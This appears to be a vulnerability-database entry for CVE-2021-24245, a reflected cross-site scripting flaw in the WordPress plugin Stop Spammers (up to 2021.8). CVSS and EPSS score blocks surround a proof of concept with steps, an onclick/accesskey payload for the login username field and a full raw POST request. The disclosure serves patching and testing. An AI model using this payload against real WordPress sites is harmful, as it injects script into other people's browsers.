6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.3 Medium
AI Score
Confidence
High
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.002 Low
EPSS
Percentile
60.6%
# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <= 2021.8
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245
Summary:
Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <= 2021.8' allow remote attackers to run arbitary javascript
Proof of concepts:
1-Install "Stop Spammers <= 2021.8" in your wordpress website
2-For testing remove your IP address from the allowed list
3-Go to http://<YOUR-WEBSITE>/wp-admin
4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox
Request POC:
POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.3 Medium
AI Score
Confidence
High
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.002 Low
EPSS
Percentile
60.6%